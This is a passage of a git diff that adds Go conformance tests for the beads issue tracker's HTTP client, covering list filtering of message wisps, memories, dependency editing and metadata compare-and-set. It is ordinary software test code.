(workapi.BuildListFilter's plane branch is the +// reason, and it is one branch): +// +// neither the durable task alone +// include_ephemeral admits the PLANE and drops no type exclusion, so a task +// wisp appears and a MESSAGE wisp does not +// include_infra drops the type exclusions AND admits the plane, because +// it is one of the three conditions on that same branch — +// so it answers with everything +// both identical to include_infra alone +// +// SO THE LOAD-BEARING MEMBER FOR MAIL IS `include_infra`, not the plane bit: a +// TierBoth read that sent `include_ephemeral` alone reads an EMPTY MAILBOX and +// believes it, and one that sent `include_infra` alone is already correct. +// Sending both is still the honest spelling — it says the plane and the +// vocabulary out loud, and it does not depend on infra's plane admission +// staying a side effect of one branch — but the two are the same ANSWER today, +// and a client that dropped the plane bit would not fail on this fixture. The +// arm that fails on a dropped `include_infra` is the third and fourth, and the +// arm that fails on a dropped `include_ephemeral` is the second. +func TestServedReaderListMessageWispsNeedTheInfraIntentAndNotJustThePlane(t *testing.T) { + ctx := t.Context() + c, reader := servedReader(t) + scope := listScope("mail") + + task := listID("mail", "task") + durableMessage := listID("mail", "durable-msg") + taskWisp := listID("mail", "wisp-task") + mail := listID("mail", "wisp-msg") + + at := time.Now().UTC().Truncate(time.Second).Add(-90 * time.Minute) + seedListIssue(t, ctx, c, task, scope, at, 2) + // The durable message row is what separates the TYPE exclusion from the + // plane one; the task wisp is what separates the plane admission from the + // type one. Without both, two of the four arms would answer the same set + // and the quadrant would not be a quadrant. + durable := &types.Issue{ + ID: durableMessage, Title: durableMessage, Status: types.StatusOpen, Priority: 2, + IssueType: types.IssueType("message"), Labels: []string{scope}, + CreatedAt: at.Add(time.Second), UpdatedAt: at.Add(time.Second), + } + if err := c.seedIssue(ctx, durable, "seed"); err != nil { + t.Fatalf("seed %s: %v", durableMessage, err) + } + seedListWisp(t, ctx, c, taskWisp, scope, at.Add(2*time.Second), types.TypeTask) + seedListWisp(t, ctx, c, mail, scope, at.Add(3*time.Second), types.IssueType("message")) + + everything := []string{mail, taskWisp, durableMessage, task} + for _, test := range []struct { + name string + req issueops.ListRequest + want []string + about string + }{ + { + name: "neither intent", + req: issueops.ListRequest{}, + want: []string{task}, + about: "a default listing hides the message rows on both legs at once, and the wisp " + + "plane with them", + }, + { + name: "the plane intent alone", + req: issueops.ListRequest{IncludeEphemeral: true}, + want: []string{taskWisp, task}, + about: "include_ephemeral admits the PLANE and drops no type exclusion, so the task wisp crosses and the message wisp does not — this is the empty mailbox a TierBoth read gets for sending only this", + }, + { + name: "the infra intent alone", + req: issueops.ListRequest{IncludeInfra: true}, + want: everything, + about: "include_infra drops the type exclusions AND admits the plane, both from the same branch, so it already answers with the mail", + }, + { + name: "both intents", + req: issueops.ListRequest{IncludeEphemeral: true, IncludeInfra: true}, + want: everything, + about: "the pairing a TierBoth read sends, and the same answer as the infra intent alone at this tip", + }, + } { + t.Run(test.name, func(t *testing.T) { + req := test.req + req.Labels = []string{scope} + req.SortBy = "created" + req.Limit = ptrTo(0) + page, err := reader.List(ctx, req) + if err != nil { + t.Fatalf("List: %v", err) + } + if got := pageIDs(page); !slices.Equal(got, test.want) { + t.Errorf("List = %v, want %v (%s)", got, test.want, test.about) + } + }) + } +} diff --git a/internal/httpclient/served_memories_deps_test.go b/internal/httpclient/served_memories_deps_test.go new file mode 100644 index 000000000..6d97f1d8b --- /dev/null +++ b/internal/httpclient/served_memories_deps_test.go @@ -0,0 +1,431 @@ +//go:build cgo + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/served_memories_deps_test.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "errors" + "testing" + + "github.com/steveyegge/beads/backend/conformance" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// The Memories and DependencyEditor contracts against the served surface. +// +// Both roles map onto the wire whole, so almost every case runs for real; the +// handful that do not are named individually with the member the wire does not +// publish. The dependency block is the largest contract in the suite and most +// of it is about SERVER-side graph semantics — plane routing, the cycle gates, +// history entries — which is exactly what running it through the client proves +// is not disturbed by the crossing. + +func newServedMemoriesFixture(t *testing.T, prefix string) conformance.MemoriesFixture { + t.Helper() + env := newServedEnv(t, prefix) + memories, err := env.subject.Memories() + if err != nil { + t.Fatalf("Memories(): %v", err) + } + return conformance.MemoriesFixture{ + IssuePrefix: env.prefix, + Memories: memories, + SetConfig: env.setConfig, + QueryScalar: env.queryScalar, + CountHistory: env.countHistory, + } +} + +func TestServedMemoriesListOfAnEmptyPlaneAnswersAnEmptyMap(t *testing.T) { + conformance.RunMemoriesListOfAnEmptyPlaneAnswersAnEmptyMap(t, t.Context(), newServedMemoriesFixture(t, "hm00")) +} + +func TestServedMemoriesRememberStoresContentVerbatim(t *testing.T) { + conformance.RunMemoriesRememberStoresContentVerbatim(t, t.Context(), newServedMemoriesFixture(t, "hm01")) +} + +func TestServedMemoriesRememberDerivesTheKeyWhenAbsent(t *testing.T) { + conformance.RunMemoriesRememberDerivesTheKeyWhenAbsent(t, t.Context(), newServedMemoriesFixture(t, "hm02")) +} + +func TestServedMemoriesRememberWithExplicitKeyStoresVerbatim(t *testing.T) { + conformance.RunMemoriesRememberWithExplicitKeyStoresVerbatim(t, t.Context(), newServedMemoriesFixture(t, "hm03")) +} + +func TestServedMemoriesRememberReplacesAndReportsIt(t *testing.T) { + conformance.RunMemoriesRememberReplacesAndReportsIt(t, t.Context(), newServedMemoriesFixture(t, "hm04")) +} + +func TestServedMemoriesRememberRefusesEmptyContent(t *testing.T) { + conformance.RunMemoriesRememberRefusesEmptyContent(t, t.Context(), newServedMemoriesFixture(t, "hm05")) +} + +func TestServedMemoriesRememberRefusesAWhitespaceOnlyKey(t *testing.T) { + conformance.RunMemoriesRememberRefusesAWhitespaceOnlyKey(t, t.Context(), newServedMemoriesFixture(t, "hm06")) +} + +func TestServedMemoriesRememberRefusesAnUnderivableKey(t *testing.T) { + conformance.RunMemoriesRememberRefusesAnUnderivableKey(t, t.Context(), newServedMemoriesFixture(t, "hm07")) +} + +func TestServedMemoriesRecallAnswersTheStoredValue(t *testing.T) { + conformance.RunMemoriesRecallAnswersTheStoredValue(t, t.Context(), newServedMemoriesFixture(t, "hm08")) +} + +func TestServedMemoriesRecallReportsAMissAsNotFoundNotAnError(t *testing.T) { + conformance.RunMemoriesRecallReportsAMissAsNotFoundNotAnError(t, t.Context(), newServedMemoriesFixture(t, "hm09")) +} + +func TestServedMemoriesRecallConflatesStoredEmptyWithAbsent(t *testing.T) { + conformance.RunMemoriesRecallConflatesStoredEmptyWithAbsent(t, t.Context(), newServedMemoriesFixture(t, "hm10")) +} + +func TestServedMemoriesForgetRemovesExactlyTheNamedRow(t *testing.T) { + conformance.RunMemoriesForgetRemovesExactlyTheNamedRow(t, t.Context(), newServedMemoriesFixture(t, "hm11")) +} + +func TestServedMemoriesForgetNeverTouchesTheSettingsPlane(t *testing.T) { + conformance.RunMemoriesForgetNeverTouchesTheSettingsPlane(t, t.Context(), newServedMemoriesFixture(t, "hm12")) +} + +func TestServedMemoriesForgetReportsTheForgottenValue(t *testing.T) { + conformance.RunMemoriesForgetReportsTheForgottenValue(t, t.Context(), newServedMemoriesFixture(t, "hm13")) +} + +func TestServedMemoriesForgetOfAnAbsentKeyIsNotFoundAndDeletesNothing(t *testing.T) { + conformance.RunMemoriesForgetOfAnAbsentKeyIsNotFoundAndDeletesNothing(t, t.Context(), newServedMemoriesFixture(t, "hm14")) +} + +func TestServedMemoriesListReturnsOnlyTheMemoryPlane(t *testing.T) { + conformance.RunMemoriesListReturnsOnlyTheMemoryPlane(t, t.Context(), newServedMemoriesFixture(t, "hm15")) +} + +func TestServedMemoriesListSearchMatchesTheUserKeyNotTheStorageKey(t *testing.T) { + conformance.RunMemoriesListSearchMatchesTheUserKeyNotTheStorageKey(t, t.Context(), newServedMemoriesFixture(t, "hm16")) +} + +func TestServedMemoriesListSearchMatchesKeyOrValueCaseInsensitively(t *testing.T) { + conformance.RunMemoriesListSearchMatchesKeyOrValueCaseInsensitively(t, t.Context(), newServedMemoriesFixture(t, "hm17")) +} + +func TestServedMemoriesARefusedWriteRecordsNoHistory(t *testing.T) { + conformance.RunMemoriesARefusedWriteRecordsNoHistory(t, t.Context(), newServedMemoriesFixture(t, "hm18")) +} + +func newServedDependencyEditorFixture(t *testing.T, prefix string) conformance.DependencyEditorFixture { + t.Helper() + env := newServedEnv(t, prefix) + editor, err := env.subject.DependencyEditor() + if err != nil { + t.Fatalf("DependencyEditor(): %v", err) + } + return conformance.DependencyEditorFixture{ + IssuePrefix: env.prefix, + Editor: editor, + CreateIssue: env.createIssue, + CreateWisp: env.createWisp, + // The one precondition the ROLE's own request type cannot express: a + // DependencyEdge carries no metadata, so a waits-for edge with an + // any-children gate on it can only be seeded out of band. The verb under + // test in the case that needs it is still AddDependencies. + AddDependency: env.addDependency, + QueryScalar: env.queryScalar, + CountHistory: env.countHistory, + // The idempotency cases turn journaling on to prove a no-op journals + // nothing. Journaling is the SERVER's (the reference store's) switch; + // the harness serves the journal-enabled flag already. + SetJournalEnabled: func(enabled bool) { env.reference.SetEventsJournalEnabled(enabled) }, + // The same-type re-add cases (ChangedMetadataMintsOneVersion, + // IdenticalMetadataIsANoOp) drive their re-add through + // fixture.AddDependency — the reference store's own raw path, same as + // AddDependency above — rather than through the role, because + // publicops.DependencyEdge carries no metadata field. That means dual-write + // version history is the reference store's own switch, same as journaling, + // so it wires the same way. + SetVersionedHistoryEnabled: env.reference.SetVersionedHistoryEnabled, + } +} + +func TestServedDependencyEditorRoutesWispSourcedEdgeToTheWispPlane(t *testing.T) { + conformance.RunDependencyEditorRoutesWispSourcedEdgeToTheWispPlane(t, t.Context(), newServedDependencyEditorFixture(t, "hd00")) +} + +func TestServedDependencyEditorMixedBatchWritesBothPlanes(t *testing.T) { + conformance.RunDependencyEditorMixedBatchWritesBothPlanes(t, t.Context(), newServedDependencyEditorFixture(t, "hd01")) +} + +func TestServedDependencyEditorMixedBatchRefusalRollsBackBothPlanes(t *testing.T) { + conformance.RunDependencyEditorMixedBatchRefusalRollsBackBothPlanes(t, t.Context(), newServedDependencyEditorFixture(t, "hd02")) +} + +func TestServedDependencyEditorRefusesCrossPlaneCycle(t *testing.T) { + skipKnownDivergence(t, "W-AddDependenciesRequest.SkipPerEdgeCycleCheck", parkBead, + parkSkipPerEdgeProbe) + conformance.RunDependencyEditorRefusesCrossPlaneCycle(t, t.Context(), newServedDependencyEditorFixture(t, "hd03")) +} + +func TestServedDependencyEditorAddedEchoesTheRequestOrder(t *testing.T) { + conformance.RunDependencyEditorAddedEchoesTheRequestOrder(t, t.Context(), newServedDependencyEditorFixture(t, "hd04")) +} + +func TestServedDependencyEditorSameTypeReAddIsIdempotent(t *testing.T) { + conformance.RunDependencyEditorSameTypeReAddIsIdempotent(t, t.Context(), newServedDependencyEditorFixture(t, "hd05")) +} + +func TestServedDependencyEditorRepeatsWithinOneRequestCollapse(t *testing.T) { + conformance.RunDependencyEditorRepeatsWithinOneRequestCollapse(t, t.Context(), newServedDependencyEditorFixture(t, "hd06")) +} + +func TestServedDependencyEditorAttributesItsEventsToTheActor(t *testing.T) { + conformance.RunDependencyEditorAttributesItsEventsToTheActor(t, t.Context(), newServedDependencyEditorFixture(t, "hd07")) +} + +func TestServedDependencyEditorRetypeRefusalLeavesTheOriginalEdge(t *testing.T) { + conformance.RunDependencyEditorRetypeRefusalLeavesTheOriginalEdge(t, t.Context(), newServedDependencyEditorFixture(t, "hd08")) +} + +func TestServedDependencyEditorRefusalWritesNothing(t *testing.T) { + skipKnownDivergence(t, "W-AddDependenciesRequest.SkipPerEdgeCycleCheck", parkBead, + parkSkipPerEdgeProbe) + conformance.RunDependencyEditorRefusalWritesNothing(t, t.Context(), newServedDependencyEditorFixture(t, "hd09")) +} + +func TestServedDependencyEditorRemoveIsIdempotent(t *testing.T) { + conformance.RunDependencyEditorRemoveIsIdempotent(t, t.Context(), newServedDependencyEditorFixture(t, "hd10")) +} + +func TestServedDependencyEditorAppliesParentChildBeforeBlockingEdges(t *testing.T) { + conformance.RunDependencyEditorAppliesParentChildBeforeBlockingEdges(t, t.Context(), newServedDependencyEditorFixture(t, "hd11")) +} + +func TestServedDependencyEditorAcceptsAnExternalTarget(t *testing.T) { + conformance.RunDependencyEditorAcceptsAnExternalTarget(t, t.Context(), newServedDependencyEditorFixture(t, "hd12")) +} + +func TestServedDependencyEditorAcceptsAForeignRepoTarget(t *testing.T) { + conformance.RunDependencyEditorAcceptsAForeignRepoTarget(t, t.Context(), newServedDependencyEditorFixture(t, "hd13")) +} + +func TestServedDependencyEditorRefusesBlockingEdgeAcrossItsOwnHierarchy(t *testing.T) { + conformance.RunDependencyEditorRefusesBlockingEdgeAcrossItsOwnHierarchy(t, t.Context(), newServedDependencyEditorFixture(t, "hd14")) +} + +func TestServedDependencyEditorRefusesSelfDependencyWithTheProbeSkipped(t *testing.T) { + skipKnownDivergence(t, "W-AddDependenciesRequest.SkipPerEdgeCycleCheck", parkBead, + parkSkipPerEdgeProbe) + conformance.RunDependencyEditorRefusesSelfDependencyWithTheProbeSkipped(t, t.Context(), newServedDependencyEditorFixture(t, "hd15")) +} + +func TestServedDependencyEditorRecordsOneHistoryEntryPerLandedRequest(t *testing.T) { + conformance.RunDependencyEditorRecordsOneHistoryEntryPerLandedRequest(t, t.Context(), newServedDependencyEditorFixture(t, "hd16")) +} + +func TestServedDependencyEditorRecordsNoHistoryForAnAllEphemeralRequest(t *testing.T) { + conformance.RunDependencyEditorRecordsNoHistoryForAnAllEphemeralRequest(t, t.Context(), newServedDependencyEditorFixture(t, "hd17")) +} + +func TestServedDependencyEditorSnapshotsTheRequest(t *testing.T) { + conformance.RunDependencyEditorSnapshotsTheRequest(t, t.Context(), newServedDependencyEditorFixture(t, "hd18")) +} + +func TestServedDependencyEditorValidationRefusalsWriteNothing(t *testing.T) { + conformance.RunDependencyEditorValidationRefusalsWriteNothing(t, t.Context(), newServedDependencyEditorFixture(t, "hd19")) +} + +func TestServedDependencyEditorRoutesWispSourcedRemovalToTheWispPlane(t *testing.T) { + conformance.RunDependencyEditorRoutesWispSourcedRemovalToTheWispPlane(t, t.Context(), newServedDependencyEditorFixture(t, "hd20")) +} + +// The two endpoint-not-found cases park on their SENTINEL only. The behavior +// they are really about — the request fails and writes nothing — is asserted +// for real by TestServedDependencyEndpointNotFoundRefusesAsValidation below, so +// ledger row L-dep-endpoint retires loudly rather than sitting behind a skip. + +func TestServedDependencyEditorRefusesAGhostSource(t *testing.T) { + skipKnownDivergence(t, "L-dep-endpoint", parkBead, parkEndpointSentinel) + conformance.RunDependencyEditorRefusesAGhostSource(t, t.Context(), newServedDependencyEditorFixture(t, "hd21")) +} + +func TestServedDependencyEditorRefusesAMissingLocalTarget(t *testing.T) { + skipKnownDivergence(t, "L-dep-endpoint", parkBead, parkEndpointSentinel) + conformance.RunDependencyEditorRefusesAMissingLocalTarget(t, t.Context(), newServedDependencyEditorFixture(t, "hd22")) +} + +// parkSkipPerEdgeProbe is the one reason FOUR cases here share, written once +// because it is one decision: the wire leaves SkipPerEdgeCycleCheck unpublished +// on purpose — an unauthenticated surface is where a default has to be the +// guarded one — so the client refuses the member rather than dropping it, and +// every case that binds the flag is unreachable whole. +const parkSkipPerEdgeProbe = "the case binds AddDependenciesRequest.SkipPerEdgeCycleCheck, which the wire leaves UNPUBLISHED by design — an unauthenticated surface is where a default must be the guarded one — so the client refuses the member rather than dropping it and the whole case is unreachable" + +const parkEndpointSentinel = "the wire flattens the endpoint-not-found refusal into a 400 invalid_argument with reason invalid_value, so ErrDependencySourceNotFound and ErrDependencyTargetNotFound cannot be reconstructed without parsing detail prose (asserted by TestServedDependencyEndpointNotFoundRefusesAsValidation)" + +// TestServedDependencyEndpointNotFoundRefusesAsValidation is L-dep-endpoint's +// pin, and it RUNS. +// +// The row is a divergence in CLASSIFICATION, not in outcome, and both parts need +// saying. The part that still holds is the part that matters most: an edge whose +// source or target names nothing fails, and the graph is untouched — a client +// that quietly wrote a half-graph would be a far worse divergence than a coarse +// sentinel. The part that diverges is the sentinel itself, and asserting the +// absence is what makes the row retire the day the wire grows a distinguishing +// code or reason. +func TestServedDependencyEndpointNotFoundRefusesAsValidation(t *testing.T) { + env := newServedEnv(t, "hdep") + ctx := t.Context() + editor, err := env.subject.DependencyEditor() + if err != nil { + t.Fatalf("DependencyEditor(): %v", err) + } + + const real = "hdep-real" + seedServedIssue(t, ctx, env, real, types.StatusOpen) + + cases := map[string]struct { + edge issueops.DependencyEdge + sentinel error + }{ + "ghost source": { + edge: issueops.DependencyEdge{IssueID: "hdep-ghost", DependsOnID: real, Type: issueops.DepBlocks}, + sentinel: issueops.ErrDependencySourceNotFound, + }, + "missing local target": { + edge: issueops.DependencyEdge{IssueID: real, DependsOnID: "hdep-absent", Type: issueops.DepBlocks}, + sentinel: issueops.ErrDependencyTargetNotFound, + }, + } + + for name, tc := range cases { + t.Run(name, func(t *testing.T) { + _, err := editor.AddDependencies(ctx, issueops.AddDependenciesRequest{ + Actor: "writer", Edges: []issueops.DependencyEdge{tc.edge}, + }) + if err == nil { + t.Fatal("the add succeeded; an endpoint that names nothing must refuse") + } + if !errors.Is(err, issueops.ErrValidation) { + t.Errorf("refusal = %v, want ErrValidation — the wire spells this as a 400 invalid_argument", err) + } + if errors.Is(err, tc.sentinel) { + t.Errorf("refusal carries %v; L-dep-endpoint says the wire cannot express it — retire the row rather than the assertion", tc.sentinel) + } + + // Both endpoints, because either half of a refused edge landing is + // the same bug. The target column is the DURABLE one: the wisp + // plane has its own (depends_on_wisp_id) and neither id here names + // a wisp. + var edges int + if err := env.queryScalar(ctx, + "SELECT COUNT(*) FROM dependencies WHERE issue_id = ? OR depends_on_issue_id = ?", + []any{tc.edge.IssueID, tc.edge.DependsOnID}, &edges); err != nil { + t.Fatalf("count the edges the refusal may have written: %v", err) + } + if edges != 0 { + t.Errorf("the refused add left %d edge(s) behind; the refusal is coarse, not partial", edges) + } + }) + } +} + +func TestServedDependencyEditorAcceptsATypeOutsideTheConstants(t *testing.T) { + conformance.RunDependencyEditorAcceptsATypeOutsideTheConstants(t, t.Context(), newServedDependencyEditorFixture(t, "hd23")) +} + +func TestServedDependencyEditorRemovesOnlyTheNamedEdge(t *testing.T) { + conformance.RunDependencyEditorRemovesOnlyTheNamedEdge(t, t.Context(), newServedDependencyEditorFixture(t, "hd24")) +} + +func TestServedDependencyEditorSkipPerEdgeCycleCheckDropsOnlyTheProbe(t *testing.T) { + skipKnownDivergence(t, "W-AddDependenciesRequest.SkipPerEdgeCycleCheck", parkBead, + parkSkipPerEdgeProbe) + conformance.RunDependencyEditorSkipPerEdgeCycleCheckDropsOnlyTheProbe(t, t.Context(), newServedDependencyEditorFixture(t, "hd25")) +} + +func TestServedDependencyEditorRecordsOneHistoryEntryForAMixedPlaneRequest(t *testing.T) { + conformance.RunDependencyEditorRecordsOneHistoryEntryForAMixedPlaneRequest(t, t.Context(), newServedDependencyEditorFixture(t, "hd26")) +} + +func TestServedDependencyEditorWritesTheTargetIntoItsTypedColumn(t *testing.T) { + conformance.RunDependencyEditorWritesTheTargetIntoItsTypedColumn(t, t.Context(), newServedDependencyEditorFixture(t, "hd27")) +} + +func TestServedDependencyEditorRefusesBlockingEdgeAcrossAWispHierarchy(t *testing.T) { + conformance.RunDependencyEditorRefusesBlockingEdgeAcrossAWispHierarchy(t, t.Context(), newServedDependencyEditorFixture(t, "hd28")) +} + +func TestServedDependencyEditorRefusesACycleThroughAParentChildHop(t *testing.T) { + conformance.RunDependencyEditorRefusesACycleThroughAParentChildHop(t, t.Context(), newServedDependencyEditorFixture(t, "hd29")) +} + +func TestServedDependencyEditorRefusesASamePlaneEdgeClosingACrossPlaneCycle(t *testing.T) { + conformance.RunDependencyEditorRefusesASamePlaneEdgeClosingACrossPlaneCycle(t, t.Context(), newServedDependencyEditorFixture(t, "hd30")) +} + +// The GRAPH-SHAPE and BLOCKED-STATE halves of this role, which nothing in the +// wiring above reached. +// +// Neither half is about a member: `dependencies:add` and `dependencies:remove` +// map their whole request, so what is left to prove is what the SERVER's +// transaction does with the edges it accepted. The four shape cases pin the +// edges an add must NOT refuse — a diamond is not a cycle, a blocking edge +// between two issue types is legal, and gate scope follows the edge type — and +// the four blocked-state cases pin the `is_blocked` projection the same add and +// remove maintain, read raw because no role hydrates that column. +// +// They are worth running here rather than only on the store legs for a reason +// this leg alone has: the client sends ONE request per case and recomputes +// nothing, so the whole settlement is the server's own closing transaction. A +// port that split a batch, reordered it, or dropped the descendant expansion +// would show up as a stale flag on a row nobody named. + +func TestServedDependencyEditorAcceptsADiamond(t *testing.T) { + conformance.RunDependencyEditorAcceptsADiamond(t, t.Context(), newServedDependencyEditorFixture(t, "hd31")) +} + +func TestServedDependencyEditorAcceptsBlockingAcrossIssueTypes(t *testing.T) { + conformance.RunDependencyEditorAcceptsBlockingAcrossIssueTypes(t, t.Context(), newServedDependencyEditorFixture(t, "hd32")) +} + +func TestServedDependencyEditorGateScopeFollowsTheEdgeType(t *testing.T) { + conformance.RunDependencyEditorGateScopeFollowsTheEdgeType(t, t.Context(), newServedDependencyEditorFixture(t, "hd33")) +} + +func TestServedDependencyEditorAddMarksItsSourceInTheSameVerb(t *testing.T) { + conformance.RunDependencyEditorAddMarksItsSourceInTheSameVerb(t, t.Context(), newServedDependencyEditorFixture(t, "hd34")) +} + +func TestServedDependencyEditorRelatesToAddLeavesItsSourceUnblocked(t *testing.T) { + conformance.RunDependencyEditorRelatesToAddLeavesItsSourceUnblocked(t, t.Context(), newServedDependencyEditorFixture(t, "hd35")) +} + +func TestServedDependencyEditorRemoveUnmarksItsSourceAndDescendants(t *testing.T) { + conformance.RunDependencyEditorRemoveUnmarksItsSourceAndDescendants(t, t.Context(), newServedDependencyEditorFixture(t, "hd36")) +} + +func TestServedDependencyEditorMaintainsBlockedStateAcrossPlanes(t *testing.T) { + conformance.RunDependencyEditorMaintainsBlockedStateAcrossPlanes(t, t.Context(), newServedDependencyEditorFixture(t, "hd37")) +} + +// TestServedDependencyEditorClosedChildAddSatisfiesAnAnyChildrenGate is the one +// that needs the out-of-band edge seed: the gate it satisfies is metadata on a +// waits-for edge, and the role's own DependencyEdge carries none. +func TestServedDependencyEditorClosedChildAddSatisfiesAnAnyChildrenGate(t *testing.T) { + conformance.RunDependencyEditorClosedChildAddSatisfiesAnAnyChildrenGate(t, t.Context(), newServedDependencyEditorFixture(t, "hd38")) +} + +// The two same-type re-add cases, newly wired: both drive the re-add through +// fixture.AddDependency (the reference store's own raw path, same reason +// ClosedChildAddSatisfiesAnAnyChildrenGate reaches past the role above) and +// need dual-write version history on, which the fixture now wires onto the +// same reference store SetJournalEnabled already uses. + +func TestServedDependencyEditorSameTypeReAddWithChangedMetadataMintsOneVersion(t *testing.T) { + conformance.RunDependencyEditorSameTypeReAddWithChangedMetadataMintsOneVersion(t, t.Context(), newServedDependencyEditorFixture(t, "hd39")) +} + +func TestServedDependencyEditorSameTypeReAddWithIdenticalMetadataIsANoOp(t *testing.T) { + conformance.RunDependencyEditorSameTypeReAddWithIdenticalMetadataIsANoOp(t, t.Context(), newServedDependencyEditorFixture(t, "hd40")) +} diff --git a/internal/httpclient/served_metadata_cas_test.go b/internal/httpclient/served_metadata_cas_test.go new file mode 100644 index 000000000..9410d87db --- /dev/null +++ b/internal/httpclient/served_metadata_cas_test.go @@ -0,0 +1,153 @@ +//go:build cgo + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/served_metadata_cas_test.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "testing" + + "github.com/steveyegge/beads/backend/conformance" +) + +// The MetadataCAS contracts, run through client → in-process bd serve → +// reference store. +// +// EVERY ONE OF THEM RUNS. That is worth saying out loud on a role wired by a +// client wave, because it is the exception here rather than the rule: the +// create, delete and batch-create families each park cases on a refusal +// vocabulary the wire flattens or on a member its body has no place for, and +// this one parks nothing. The request maps whole — actor, the id in the path, +// the key, and the two sides of the transition — and both members of the result +// are published, so there is no shape for a divergence to live in. +// +// WHAT THE COMPOSITION BUYS HERE that the three in-tree legs cannot. All three +// of those run one body (internal/storage/issueops.CompareAndSetMetadataKeyInTx) +// through different transaction wrappers, so the tier is "one reading plus two +// wrapper checks" by its own header note. This leg adds a fourth wrapper that is +// a NETWORK: the request is serialized, the absent-versus-null distinction on +// three members has to survive a JSON round trip in both directions, and the +// verdict comes back inside a 200. Those are exactly the states the contract's +// cases are built to separate, and none of the in-tree legs can lose them. + +func newServedMetadataCASFixture(t *testing.T, prefix string) conformance.MetadataCASFixture { + t.Helper() + env := newServedEnv(t, prefix) + cas, err := env.subject.MetadataCAS() + if err != nil { + t.Fatalf("MetadataCAS(): %v", err) + } + return conformance.MetadataCASFixture{ + IssuePrefix: env.prefix, + MetadataCAS: cas, + CreateIssue: env.createIssue, + CreateWisp: env.createWisp, + QueryScalar: env.queryScalar, + CountHistory: env.countHistory, + CommitPending: env.commitPending, + } +} + +// The transition, stated as a pair: nil on either side means the key is ABSENT +// there, so a first-writer-wins acquire is (nil → value) and a release is +// (value → nil). + +func TestServedMetadataCASCreatesAKeyThatWasAbsent(t *testing.T) { + conformance.RunMetadataCASCreatesAKeyThatWasAbsent(t, t.Context(), newServedMetadataCASFixture(t, "hmc1")) +} + +func TestServedMetadataCASRefusesASecondCreateAndReportsTheHolder(t *testing.T) { + conformance.RunMetadataCASRefusesASecondCreateAndReportsTheHolder(t, t.Context(), newServedMetadataCASFixture(t, "hmc2")) +} + +func TestServedMetadataCASSwapsOnAMatchAndReportsTheNewValue(t *testing.T) { + conformance.RunMetadataCASSwapsOnAMatchAndReportsTheNewValue(t, t.Context(), newServedMetadataCASFixture(t, "hmc3")) +} + +// TestServedMetadataCASRefusalReportsTheCurrentValueAndWritesNothing is the case +// this seam could most easily have got wrong: a lost race is a 200, so a client +// that classified the answer by status code would report it as a won swap. +func TestServedMetadataCASRefusalReportsTheCurrentValueAndWritesNothing(t *testing.T) { + conformance.RunMetadataCASRefusalReportsTheCurrentValueAndWritesNothing(t, t.Context(), newServedMetadataCASFixture(t, "hmc4")) +} + +func TestServedMetadataCASComparesCanonically(t *testing.T) { + conformance.RunMetadataCASComparesCanonically(t, t.Context(), newServedMetadataCASFixture(t, "hmc5")) +} + +// TestServedMetadataCASReportsTheValueTheRowHolds is the loop's convergence +// clause: Current is read from the ROW rather than echoed from the request, so a +// caller that feeds it back as the next Expected converges even where the store +// renormalized what it wrote. +func TestServedMetadataCASReportsTheValueTheRowHolds(t *testing.T) { + conformance.RunMetadataCASReportsTheValueTheRowHolds(t, t.Context(), newServedMetadataCASFixture(t, "hmc6")) +} + +// TestServedMetadataCASDistinguishesAnAbsentKeyFromAStoredNull is the one the +// WIRE makes hard, and the reason the response's `current` is a bare +// json.RawMessage rather than a pointer: encoding/json answers a JSON null +// against a pointer by setting it nil before any UnmarshalJSON runs, so a +// present null and an omitted member would decode identically. They mean +// opposite things here, and a retry loop that confused them would swap with +// `expected` omitted, mismatch, and never converge — a livelock on a stream of +// 200s. +func TestServedMetadataCASDistinguishesAnAbsentKeyFromAStoredNull(t *testing.T) { + conformance.RunMetadataCASDistinguishesAnAbsentKeyFromAStoredNull(t, t.Context(), newServedMetadataCASFixture(t, "hmc7")) +} + +func TestServedMetadataCASRemovesTheKeyWhenTheValueIsAbsent(t *testing.T) { + conformance.RunMetadataCASRemovesTheKeyWhenTheValueIsAbsent(t, t.Context(), newServedMetadataCASFixture(t, "hmc8")) +} + +func TestServedMetadataCASPreservesSiblingKeys(t *testing.T) { + conformance.RunMetadataCASPreservesSiblingKeys(t, t.Context(), newServedMetadataCASFixture(t, "hmc9")) +} + +func TestServedMetadataCASNoOpSwapWritesNothing(t *testing.T) { + conformance.RunMetadataCASNoOpSwapWritesNothing(t, t.Context(), newServedMetadataCASFixture(t, "hmca")) +} + +// The refusals. Both arrive as the sentinel a local backend returns for the same +// refusal: the 404 for an id on neither plane, and the 400 for a request the +// role's own rules reject. + +func TestServedMetadataCASRefusesAnIDOnNeitherPlane(t *testing.T) { + conformance.RunMetadataCASRefusesAnIDOnNeitherPlane(t, t.Context(), newServedMetadataCASFixture(t, "hmcb")) +} + +func TestServedMetadataCASRefusesAnUnusableRequest(t *testing.T) { + conformance.RunMetadataCASRefusesAnUnusableRequest(t, t.Context(), newServedMetadataCASFixture(t, "hmcc")) +} + +// The planes and the version-control clauses. + +func TestServedMetadataCASResolvesAWispAnchor(t *testing.T) { + conformance.RunMetadataCASResolvesAWispAnchor(t, t.Context(), newServedMetadataCASFixture(t, "hmcd")) +} + +func TestServedMetadataCASAWispSwapRecordsNoDurableHistory(t *testing.T) { + conformance.RunMetadataCASAWispSwapRecordsNoDurableHistory(t, t.Context(), newServedMetadataCASFixture(t, "hmce")) +} + +func TestServedMetadataCASRecordsExactlyOneHistoryEntry(t *testing.T) { + conformance.RunMetadataCASRecordsExactlyOneHistoryEntry(t, t.Context(), newServedMetadataCASFixture(t, "hmcf")) +} + +// TestServedMetadataCASHistoryEntryNamesTheActor is why Actor is required on +// this request and why this client refuses an empty one before dialing: a swap +// is a coordination write between racing callers, and the one question asked of +// its trace afterwards is which of them won. No result member carries the actor, +// so every other case here would pass with it dropped between the client and the +// row. +func TestServedMetadataCASHistoryEntryNamesTheActor(t *testing.T) { + conformance.RunMetadataCASHistoryEntryNamesTheActor(t, t.Context(), newServedMetadataCASFixture(t, "hmcg")) +} + +func TestServedMetadataCASARefusedSwapRecordsNoHistory(t *testing.T) { + conformance.RunMetadataCASARefusedSwapRecordsNoHistory(t, t.Context(), newServedMetadataCASFixture(t, "hmch")) +} + +func TestServedMetadataCASDoesNotMutateTheCallerRequest(t *testing.T) { + 